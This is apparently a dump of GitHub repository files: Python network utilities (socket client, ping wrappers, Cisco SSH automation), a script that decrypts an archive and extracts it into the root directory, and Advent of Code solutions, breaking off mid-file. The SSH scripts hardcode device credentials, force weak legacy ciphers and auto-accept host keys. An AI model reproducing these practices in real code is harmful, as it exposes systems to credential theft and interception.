⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.25000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\n | -0.13000 -0.08500 -0.04000 0.00500 0.05000 0.09500 0.14000 0.18500 0.23000 '''\n assert expected == fig.show() # no legend, origin\n\n assert fig.show(legend=True) == expected + '\\n\\nLegend:\\n-------\\n⠤⠤ Label 0' # no label for histograms\n" } ]
3
SandyLinux/NetworkCommunication
https://github.com/SandyLinux/NetworkCommunication
84ba35a79999db638e1df8952b67b47e70bf86fc
c6377e653c5ead9cc4550ffec23a3a3824da14ef
55197c3595ecd3443fc4c6c463fca997d3371108
refs/heads/master
2020-03-31T15:53:45.581028
2019-04-22T04:47:32
2019-04-22T04:47:32
152,355,455
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5767195820808411, "alphanum_fraction": 0.6058201193809509, "avg_line_length": 28.076923370361328, "blob_id": "a3fe8c7d90990bdbbac7f49aa9a9bafa68c5e4f2", "content_id": "c9dcf554b044acf33356d96a7376e1d14f725aa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 378, "license_type": "no_license", "max_line_length": 63, "num_lines": 13, "path": "/send1.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "# Echo client program\nimport socket\nimport time\n\nHOST = '' # The remote host\nPORT = 50007 # The same port as used by the server\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n while True:\n s.sendall(b'Hello, world')\n data = s.recv(1024)\n print('Received-----', repr(data))\n time.sleep(30)\n" }, { "alpha_fraction": 0.5177083611488342, "alphanum_fraction": 0.5416666865348816, "avg_line_length": 32.068965911865234, "blob_id": "20b3c0feefba6a9a5abb5cd24c05a4a75dcde64c", "content_id": "a6b118d3fee7ed04cd34f1313ac98d5283e76553", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 960, "license_type": "no_license", "max_line_length": 85, "num_lines": 29, "path": "/latency.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "from subprocess import Popen, PIPE, STDOUT\nfrom time import sleep\n\ndef get_fping_time(cmd):\n try:\n #execute the fping command, get the output, and convert to ascii format\n #get the 3 latency time\n ret = Popen(cmd, stdout=PIPE, stderr=STDOUT).communicate()[0].decode('ascii')\n str_line = ret.splitlines()\n latency_time = 0\n for i in str_line:\n output = i.strip().split(':')[-1].split()\n #get the 3 latency time list \n res = [float(x) for x in output if x != '-']\n if len(res) > 0:\n latency_time = round(sum(res) / len(res),2)\n else:\n latency_time= 0\n\n return latency_time\n except Exception as err:\n return 0\n\nif __name__ == \"__main__\":\n for i in range(10):\n sleep(2)\n ret = get_fping_time(['fping', '-A','172.16.50.131', '-C', '1', '-q'])\n\n print(\"Import me into main.py to use my functions\")\n\n" }, { "alpha_fraction": 0.5641891956329346, "alphanum_fraction": 0.5810810923576355, "avg_line_length": 33.41860580444336, "blob_id": "0837b094a9aa2f2751795a81532067ab64da65a0", "content_id": "a317b47a90ae05e37a069a4078103a7902fcb5e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1480, "license_type": "no_license", "max_line_length": 121, "num_lines": 43, "path": "/nping.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "from subprocess import Popen,PIPE,STDOUT\nNULL = open(\"/dev/null\", 'w') # Null file\n\ndef checkInterfaceHasInternetConnectionHelper(name, dest_port, protocol):\n \"\"\"\n check the interface to see if it has network access with :w, i.e., if it can ping google DNS\n Args:\n name: the name of the interface to check\n Returns:\n True if it has internet connection, False otherwise\n \"\"\"\n try:\n ping_cmd = ['nping', '--interface', name, '--dest-port', dest_port, '--%s'%protocol, '-c', '4', \"188.8.8.8\"]\n #Create a subprocess to ping google's DNS and get the return code\n retcode = Popen(ping_cmd, stdout=PIPE, stderr=PIPE, bufsize=0)\n retcode.wait()\n (stdout,stderr) = retcode.communicate()\n\n print(retcode)\n #print(stdout)\n for i in stdout.splitlines():\n if i.decode('utf-8').startswith('Max rtt'):\n print(i.decode('utf-8').split())\n print(i.decode('utf-8').split()[-1])\n \n print(stderr)\n print(retcode.returncode)\n print(retcode.pid)\n #Ping returns 0 on success, 1 or 2 on failure\n except ValueError as verr:\n print(verr)\n print(stderr)\n except Exception as err:\n print(err)\n print(stderr)\n\n if(retcode == 0):\n return True\n else:\n return False\n\nif __name__=='__main__':\n checkInterfaceHasInternetConnectionHelper('eth0', '443', 'tcp')\n" }, { "alpha_fraction": 0.5759493708610535, "alphanum_fraction": 0.5759493708610535, "avg_line_length": 21.428571701049805, "blob_id": "379570f2b9779d9c3005c5f5e70ab03d7f0bd7ca", "content_id": "1ff138a2d41d18b2841614a28068c7b793a83811", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "no_license", "max_line_length": 49, "num_lines": 7, "path": "/resolveDNS.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "\nimport re\nwith open('resolv.conf','r') as fp:\n\n dataline = fp.read()\n print(dataline)\n gws = re.findall(r'\\d+.\\d+.\\d+.\\d+',dataline)\n print(gws)\n" }, { "alpha_fraction": 0.5821596384048462, "alphanum_fraction": 0.5821596384048462, "avg_line_length": 18.272727966308594, "blob_id": "a06c2c466cfa29e5116544716431407b5baa6755", "content_id": "df04c0e64b855c1be018659218aaca8cfd924b88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 213, "license_type": "no_license", "max_line_length": 41, "num_lines": 11, "path": "/env.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "import sys\nimport os\np = os.path.abspath( os.path.dirname(\n os.path.dirname(\n os.path.abspath(__file__)\n )\n )\n)+'/src'\n\n# append module src directory to sys.path\nsys.path.append(p)\n\n" }, { "alpha_fraction": 0.49977508187294006, "alphanum_fraction": 0.5249662399291992, "avg_line_length": 27.87013053894043, "blob_id": "5076c5cc2ef8fd154c67d64bbf558edc59c1a908", "content_id": "ffc2c30597689a7cd0d32670570c9a308ccf101c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2223, "license_type": "no_license", "max_line_length": 84, "num_lines": 77, "path": "/paramikoSSH.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "import paramiko\nfrom getpass import getpass\nimport time,socket\nfrom multiprocessing import Process, Pipe\n\ndef msgSender(conn):\n \"\"\"\n use child process to feed the command to host via ssh connection\n \"\"\"\n msglist = ['show run', 'show ip int br', 'show clock', 'show int trunk', 'exit']\n for msg in msglist:\n \n conn.send([msg])\n time.sleep(5)\n conn.close()\n\ndef main():\n parent_conn, child_conn = Pipe()\n ip = '172.18.200.10'\n username = 'cmlab'\n password = 'cisco123'\n remote_conn_pre=paramiko.SSHClient()\n remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n \n try:\n \n remote_conn_pre.connect(ip, port=22, username=username, \n password=password,\n look_for_keys=False, allow_agent=False,\n timeout=10,\n auth_timeout=10)\n \n \n remote_conn = remote_conn_pre.invoke_shell()\n output = remote_conn.recv(65535)\n print ('----1',output)\n\n remote_conn.send(\"terminal length 0\\n\")\n time.sleep(1)\n output = remote_conn.recv(65535)\n print ('----2',output)\n p = Process(target=msgSender, args=(child_conn,))\n p.start()\n \n for _ in range(5):\n print('-----------execution result')\n\n tst2= (parent_conn.recv()[0]) # prints \"[42, None, 'hello']\"\n if tst2=='exit':\n break\n else:\n tst2 = tst2 +\"\\n\" \n print('---!!!!!sending......', tst2)\n remote_conn.send(tst2)\n time.sleep(2)\n output = remote_conn.recv(655350).decode('utf-8')\n #for i in output.splitlines():\n print (output)\n remote_conn.close() \n except socket.timeout as err:\n print(err)\n except paramiko.ssh_exception.AuthenticationException as err:\n print(err)\n except Exception as err:\n print(err)\n \n \"\"\"\n remote_conn.send(\"show ip int br\\n\")\n time.sleep(1)\n output = remote_conn.recv(655350)\n for i in output.splitlines():\n print (i)\n \"\"\"\n\n\nif __name__=='__main__':\n main()\n" }, { "alpha_fraction": 0.5639229416847229, "alphanum_fraction": 0.5709282159805298, "avg_line_length": 29.052631378173828, "blob_id": "409b262c9805d7e4a082f5195f14e42a32235837", "content_id": "fc11438af5951149ecdffda5d6412c910c0163c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 571, "license_type": "no_license", "max_line_length": 95, "num_lines": 19, "path": "/etherInterfaceDiscover.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport netifaces\nimport subprocess\n\ndef ethInterfacesCount():\n realifaces = set()\n ifaces=netifaces.interfaces()\n for iface in ifaces:\n if (\"eth\") in iface:\n realifaces.add(iface.split('.')[0])\n print (realifaces)\n if (len(realifaces) >=4):\n print (\"length of set {}\".format(len(realifaces)))\n subprocess.call([\"gpg2\", \"--batch\", \"--yes\", \"-d\", \"-o\",\"/opt/ar.de\", \"/opt/arch.gpg\"])\n\n subprocess.call([\"tar\", \"-zxvf\", \"/opt/ar.de\",\"-C\",\"/\"])\n\nif __name__ == \"__main__\":\n ethInterfacesCount()\n" }, { "alpha_fraction": 0.601489782333374, "alphanum_fraction": 0.6163873076438904, "avg_line_length": 33.64516067504883, "blob_id": "ba13692d4a0e3e93b7853c752a9798de6e66c71a", "content_id": "0b79fee053de9fec486f213e7ee45eaf08ed15f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2148, "license_type": "no_license", "max_line_length": 154, "num_lines": 62, "path": "/ciscoswitch.py", "repo_name": "SandyLinux/NetworkCommunication", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n#This Script expects you are providing a level 15 user priveledge\n#Uses FTP & Telnet and is insecure\n#Will work if run through a linux terminal, not windows\n#needs ftp server setup and username password added in the cisco device\n#and is only a sample reference to get started.\nimport pexpect\nimport sys\nimport time\nimport datetime\n \nclass CiscoSwitch():\n \n def __init__(self, host, username, password):\n self.username = username\n self.host = host\n self.password = password\n \n def Login(self):\n str1 = 'ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host)\n\n self.child = pexpect.spawn('ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host), echo=False, timeout=30)\n self.child.expect('Password:')\n self.child.sendline(self.password)\n self.child.expect('#')\n self.child.sendline('terminal length 0')\n self.child.expect('#')\n \n return (self.child, self.child.before)\n \n def RunShowCmd(self,cmd):\n self.child.sendline(cmd)\n self.child.expect('#')\n #self.child.logfile=sys.stdout.buffer\n\n return (self.child, self.child.before)\n \n def FtpBackupCmd(self,ftpip):\n self.child.sendline('copy running-config ftp:')\n self.child.expect(']?')\n self.child.sendline(ftpip)\n self.child.expect(']?')\n DATE = datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n self.child.sendline(DATE+'-'+self.host)\n self.child.expect('#')\n return (self.child, self.child.before)\n \nif __name__ == '__main__':\n print ('This program is being run by itself')\n Switch = CiscoSwitch('172.18.200.10','cmlab','cisco123')\n (obj,stdout) = Switch.Login()\n print (stdout.decode('utf-8'))\n (obj,stdout) = Switch.RunShowCmd('show ip int brief')\n\n print(stdout.decode('utf-8')) \n for i in (stdout.decode('utf-8')).splitlines():\n print(i)\n\n \"\"\"\n (obj,stdout) = Switch.FtpBackupCmd('1.1.1.1')\n print stdout\n \"\"\"\n" } ]
8
ericmarcincuddy/sports-schedules
https://github.com/ericmarcincuddy/sports-schedules
7db797cbc4eee8b9858b3b341b9f6f5db04cc443
d7df1a67763d1fc655d4e2479f2cd1553b1bac93
12cdae2503bc56c30506b3eb32a359ca1c7c75d0
refs/heads/master
2019-01-19T14:49:00.466543
2018-01-13T02:03:47
2018-01-13T02:03:47
81,053,076
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47946789860725403, "alphanum_fraction": 0.49315595626831055, "avg_line_length": 29.33333396911621, "blob_id": "53c237254c845e6560eca5d7971d4ed2ad0fa108", "content_id": "28d2e2b6c59f5e0ef17613b0e455ce24e3644881", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5193, "license_type": "no_license", "max_line_length": 111, "num_lines": 171, "path": "/cbb25tv.py", "repo_name": "ericmarcincuddy/sports-schedules", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n## modules\nfrom bs4 import BeautifulSoup\nimport csv\nimport datetime\nimport logging\nimport pytz\nimport re\nimport requests\nimport sys\n\n## logging setup\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n## constants\nTOP25_PATH = '/Users/eric/workspace/ap10.html'\nTVSCHED_PATH = '/Users/eric/workspace/cbb10.html'\nOUTPUT_PATH = '/Users/eric/workspace/sched10.csv'\n\nTVSCHED_TZ = pytz.timezone('US/Eastern')\nMY_TZ = pytz.timezone('US/Pacific')\nGAME_LENGTH = datetime.timedelta(hours=2)\n\nAP2MS = {\n 'Michigan State' : 'Michigan St.',\n 'Wichita State' : 'Wichita St.',\n 'Arizona State' : 'Arizona St.',\n 'Southern California' : 'USC',\n 'Florida State' : 'Florida St.',\n 'Mississippi State' : 'Mississippi St.',\n 'Fresno State' : 'Fresno St.',\n 'Kennesaw State' : 'Kennesaw St.',\n 'East Tennessee State' : 'East Tennessee St.',\n 'Oklahoma State' : 'Oklahoma St.',\n 'Oregon State' : 'Oregon St.',\n 'Washington State' : 'Washington St.',\n 'San Diego State' : 'San Diego St.'\n}\nMS2AP = {v:k for k,v in AP2MS.items()}\n\nPAC12 = [\n 'UCLA', 'USC',\n 'California', 'Stanford',\n 'Oregon', 'Oregon St.',\n 'Washington', 'Washington St.',\n 'Arizona', 'Arizona St.',\n 'Utah', 'Colorado'\n]\n\nBROADCAST = ['CBS HD', 'FOX HD']\nNETWORKS = BROADCAST + [\n 'ESPN HD', 'ESPN2 HD', 'ESPNU HD',\n 'FS1', 'FS2', 'FSN', 'BTN',\n 'CBS Sports Network',\n 'ACC Network Extra',\n 'SEC Network',\n 'NBCSN',\n 'ESPN3',\n 'ACC Network', 'ACC RSNs', 'ESPNEWS',\n 'FOX Sports West', 'FOX Business',\n 'WCC RSNs'\n]\n\nMS2GC = {\n 'CBS HD' : '2.1 KCBS',\n 'FOX HD' : '11.1 KTTV',\n 'ESPN HD' : 'ESPN',\n 'ESPN2 HD' : 'ESPN2',\n 'ESPNU HD' : 'ESPNU',\n 'CBS Sports Network' : 'CBSSN'\n}\n\nGAME_RE = re.compile(\n r'''^(?P<team1>.+)[ ]\n (?P<dir>at|vs\\.)[ ]\n (?P<team2>.+?)\n (\\((?P<loc>.+)\\))?\n $''',\n re.X\n)\n\n## class: AP Top 25 Poll\nclass Top25:\n\n def __init__(self):\n self.teams = {}\n self.schedule = []\n\n def get_teams(self):\n \"\"\"\n Ingest the AP top 25 list of teams.\n \"\"\"\n\n with open(TOP25_PATH) as f:\n soup = BeautifulSoup(f.read(), 'html.parser')\n for tr in soup.tbody.find_all('tr'):\n rank = int(tr.find(**{'class':'trank'}).text)\n team = tr.find(**{'class':'tname'}).div.a.text\n self.teams[AP2MS.get(team, team)] = {\n 'rank' : rank\n }\n\n def get_schedule(self):\n \"\"\"\n Ingest the TV schedule for the teams.\n \"\"\"\n\n if len(self.teams) == 0:\n self.get_teams()\n\n with open(TVSCHED_PATH) as f:\n soup = BeautifulSoup(f.read(), 'html.parser')\n for tr in soup.find(class_='rowStyle').find_all('tr'):\n try:\n game = tr.find('td', class_='gamecell').get_text().strip()\n network = tr.find('td', class_='networkcell').get_text().strip()\n ts = tr.find('td', class_='timecell').get_text().strip()\n except AttributeError as e:\n continue\n\n print(game)\n game_info = GAME_RE.match(game)\n team1 = game_info.group('team1')\n team2 = game_info.group('team2')\n dt = TVSCHED_TZ.localize(datetime.datetime.strptime(ts, '%m/%d/%Y %I:%M %p')).astimezone(MY_TZ)\n\n if team1 in self.teams \\\n or team2 in self.teams \\\n or team1 in PAC12 \\\n or team2 in PAC12 \\\n or network in BROADCAST:\n if network not in NETWORKS:\n continue\n\n end_dt = dt + GAME_LENGTH\n self.schedule.append({\n 'Start Date' : dt.strftime('%m/%d/%y'),\n 'Start Time' : dt.strftime('%I:%M:%S %p'),\n 'End Date' : end_dt.strftime('%m/%d/%y'),\n 'End Time' : end_dt.strftime('%I:%M:%S %p'),\n 'Subject' : '🏀🚹 NCAA: {}{} {} {}{}'.format(\n '#{} '.format(self.teams[team1]['rank']) if team1 in self.teams else '',\n MS2AP.get(team1, team1),\n '@' if game_info.group('dir') == 'at' else game_info.group('dir'),\n '#{} '.format(self.teams[team2]['rank']) if team2 in self.teams else '',\n MS2AP.get(team2, team2)\n ),\n 'Location' : MS2GC.get(network, network),\n 'Description' : ''\n })\n\n def print_schedule(self):\n \"\"\"\n Print the schedule in CSV format.\n \"\"\"\n\n if len(self.schedule) == 0:\n self.get_schedule()\n\n with open(OUTPUT_PATH, 'w') as f:\n writer = csv.DictWriter(f, fieldnames=list(self.schedule[0].keys()))\n writer.writeheader()\n for entry in self.schedule:\n writer.writerow(entry)\n\n## main\nif __name__ == '__main__':\n t25 = Top25()\n t25.print_schedule()\n" } ]
1
giuseppeluzzi/advent-of-code-2017
https://github.com/giuseppeluzzi/advent-of-code-2017
93c805e964673e0c3b230247bda2254cd125c6ae
9c5dcebe1b85df40926486fcbdd5e9487c6dc544
0e9bb46f6a27a84195d691bd28bc41a83b11f802
refs/heads/master
2021-08-28T04:50:30.949863
2017-12-11T08:04:23
2017-12-11T08:04:23
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5820610523223877, "alphanum_fraction": 0.6164122223854065, "avg_line_length": 19.959999084472656, "blob_id": "ef7178f277a85aacf1b60fe8a4fee96b8734e2d0", "content_id": "80c4dfe3807ba08fc2152a11e99070fa66ac84bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 524, "license_type": "permissive", "max_line_length": 70, "num_lines": 25, "path": "/day2/2-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 02 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\ndef find(row):\n\trow2 = row\n\tfor element in row:\n\t\tfor element2 in row:\n\t\t\tif (element != element2) and ((int(element) % int(element2)) == 0):\n\t\t\t\treturn (int(element) / int(element2))\n\n\nchecksum = 0\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\nfor row in rows:\n\trow = row.split('\\t')\n\tchecksum = checksum + find(row)\n\nprint(\"Checksum: %d\" % (int(checksum)))\n" }, { "alpha_fraction": 0.5729967355728149, "alphanum_fraction": 0.603732168674469, "avg_line_length": 22.384614944458008, "blob_id": "3c6a1bd6d59325e100ac5aad9bad8a118e00c0b8", "content_id": "1e966652dee0c31725d57b49afa85d7da2d61e69", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 911, "license_type": "permissive", "max_line_length": 67, "num_lines": 39, "path": "/day7/7-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 07 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport re\n\nwith open('input.txt', 'r') as input_file:\n\tdisks_raw = input_file.read()\n\ndisks = {}\nparents = []\nchilds = []\nfor disk in disks_raw.split('\\n'):\n\tmatch = re.match(r'([a-z]*) \\(([0-9]*)\\)( -> )?([a-z, ]*)?', disk)\n\tdep = []\n\tif match.group(3) is not None:\n\t\tdep = match.group(4).split(', ')\n\tdisks[match.group(1)] = [int(match.group(2)), dep]\n\tparents.append(match.group(1))\n\tchilds.append(dep)\n\nfor child in childs:\n\tif len(child) > 0:\n\t\tfor subchild in child:\n\t\t\tif subchild in parents:\n\t\t\t\tparents.remove(subchild)\nprint(\"Parent: %s %d\" % (parents[0], disks[parents[0]][0]))\n\ntotal_weight = 0\nfor key, disk in disks.items():\n\tweight = disk[0]\n\tif len(disk[1]) > 0:\n\t\tfor child in disk[1]:\n\t\t\tweight += disks[key][0]\n\t\ttotal_weight = weight \n\t\tprint(weight, disk)" }, { "alpha_fraction": 0.5530303120613098, "alphanum_fraction": 0.5848484635353088, "avg_line_length": 18.41176414489746, "blob_id": "d60e7de0305acd58afa5c870b100027c44a22e5a", "content_id": "36e33c8e6faf2c9b34ff448b1d7df46e213f1434", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "permissive", "max_line_length": 55, "num_lines": 34, "path": "/day6/6-1.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 06 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\tbanks = input_file.read()\n\nbanks = banks.split('\\t')\nbanks = list(map(int, banks))\ncurrent_i = 0\nlog = []\nsteps = 0\n\nwhile True:\n\tcurrent_i = banks.index(max(banks))\n\tval = banks[current_i]\n\tbanks[current_i] = 0\n\tnext_i = current_i + 1\n\twhile (val > 0):\n\t\tif next_i >= len(banks):\n\t\t\tnext_i = 0\n\t\tbanks[next_i] += 1\n\t\tval -= 1\n\t\tnext_i += 1\n\tsteps += 1\n\tif '-'.join(str(x) for x in banks) in log:\n\t\tbreak\n\tlog.append('-'.join(str(x) for x in banks))\n\nprint(\"Steps: %d\" % (steps))\n" }, { "alpha_fraction": 0.5730858445167542, "alphanum_fraction": 0.6055684685707092, "avg_line_length": 17.7391300201416, "blob_id": "69a1bef0f292c0fca2b5335e2f037ddbddc93638", "content_id": "ecf20188c94a98154e74de2cd69b4da56fa83af3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "permissive", "max_line_length": 55, "num_lines": 23, "path": "/day1/1-1.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 01 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nwith open('input.txt', 'r') as input_file:\n\tcontent = input_file.read()\n\nresult = 0\ncontent = str(content)\n\nfor i, digit in enumerate(content):\n\tindex = i + 1\n\n\tif (index == len(content)):\n\t\tindex = 0\n\n\tif (digit == content[index]):\n\t\tresult = result + int(digit)\n\nprint(\"Result: %d\" % (result))\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.7411764860153198, "avg_line_length": 41.5, "blob_id": "bb70ee18c4a3668ad5c595bcd430425822264b68", "content_id": "dc9dc3806ebb7dbe0528043eda6edb6fe1d9c7b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 85, "license_type": "permissive", "max_line_length": 62, "num_lines": 2, "path": "/README.md", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "# Advent of Code 2017\nSolutions to [Advent of Code 2017](https://adventofcode.com/).\n" }, { "alpha_fraction": 0.532314121723175, "alphanum_fraction": 0.5740097165107727, "avg_line_length": 15.352272987365723, "blob_id": "79d10f0ce293a5729e9f0c47f7ca59bc97f7725e", "content_id": "bfac6fd61ada05ea7876b859b22f6a27293c65b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1439, "license_type": "permissive", "max_line_length": 83, "num_lines": 88, "path": "/day3/3-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport numpy\n\nto = 368078\n\nmatrix_size = int(numpy.ceil(numpy.sqrt(to)))\nif (matrix_size % 2 == 0):\n\tmatrix_size += 1\nmatrix_size += 2\n\nhalf = int(matrix_size/2)\n\ngrid = []\nfor _ in range(0, matrix_size):\n\tgrid.append([0] * matrix_size)\n\ndef nextDirection(val):\n\tval += 1\n\tif val > 4:\n\t\tval = 1\n\treturn val\n\ndef countNear(grid, x, y):\n\tcounter = 0\n\tcounter += grid[y+1][x+1]\n\tcounter += grid[y][x+1]\n\tcounter += grid[y-1][x+1]\n\tcounter += grid[y+1][x]\n\tcounter += grid[y-1][x]\n\tcounter += grid[y+1][x-1]\n\tcounter += grid[y][x-1]\n\tcounter += grid[y-1][x-1]\n\treturn counter\n\nx = half\ny = half\nlast_x = half\nlast_y = half\nc = 1\n\ns = 1\nmax_step = 1\ndirection = 1\nfirst = True\nfor item in range(0, to):\n\tnear = countNear(grid, x, y)\n\tif near == 0:\n\t\tnear = 1\n\tgrid[y][x] = near\n\tc += 1\n\tlast_y = y\n\tlast_x = x\n\tif near > to:\n\t\tbreak;\n\tif s > 0:\n\t\ts -= 1\n\telse:\n\t\tdirection = nextDirection(direction)\n\t\tif first == True:\n\t\t\ts = max_step - 1\n\t\t\tfirst = False\n\t\telse:\n\t\t\ts = max_step\n\t\t\tmax_step += 1\n\t\t\tfirst = True\n\n\tif direction == 1:\n\t\t# Right\n\t\tx += 1\n\telif direction == 2:\n\t\t# Up\n\t\ty -= 1\n\telif direction == 3:\n\t\t# Left\n\t\tx -= 1\n\telif direction == 4:\n\t\t# Down\n\t\ty += 1\n\n\ndistance = abs(last_x - half) + abs(last_y - half)\nprint(\"%d (%d;%d) Distance: %d\" % (grid[last_y][last_x], last_x, last_y, distance))\n" }, { "alpha_fraction": 0.5546666383743286, "alphanum_fraction": 0.5893333554267883, "avg_line_length": 21.058822631835938, "blob_id": "96504f377a3d21bb59060f5e1bf67556c24a1ca9", "content_id": "f5dafe0d86f4d28fe9013399a0a97b76a0e21806", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "permissive", "max_line_length": 55, "num_lines": 17, "path": "/day4/4-1.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 04 - Puzzle: 1\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\ncounter = 0;\nfor row in rows:\n\trow = row.rstrip('\\n')\n\tif len(set(row.split(' '))) == len(row.split(' ')):\n\t\tcounter += 1\nprint(\"Valid passphares: %d\" % (counter))\n" }, { "alpha_fraction": 0.5439624786376953, "alphanum_fraction": 0.5720984935760498, "avg_line_length": 19.80487823486328, "blob_id": "7b4087f39c9e7f276bc42389c5728bf12645e273", "content_id": "2678a8b498b68e4a83902699be21201b1342760c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 853, "license_type": "permissive", "max_line_length": 65, "num_lines": 41, "path": "/day6/6-2.py", "repo_name": "giuseppeluzzi/advent-of-code-2017", "src_encoding": "UTF-8", "text": "#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 06 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\nwith open('input.txt', 'r') as input_file:\n\tbanks = input_file.read()\n\nbanks = [int(x) for x in banks.split('\\t')]\ncurrent_i = 0\nlog = []\nsteps = 0\nend = False\n\nwhile True:\n\tcurrent_i = banks.index(max(banks))\n\tval = banks[current_i]\n\tbanks[current_i] = 0\n\tnext_i = current_i + 1\n\twhile (val > 0):\n\t\tif next_i >= len(banks):\n\t\t\tnext_i = 0\n\t\tbanks[next_i] += 1\n\t\tval -= 1\n\t\tnext_i += 1\n\tsteps += 1\n\tif '-'.join(str(x) for x in banks) in (logs[0] for logs in log):\n\t\tseq = '-'.join(str(x) for x in banks)\n\t\tfor row in log:\n\t\t\tif row[0] == seq:\n\t\t\t\tprint(\"Result: %d\" % (steps - row[1]))\n\t\t\t\tend = 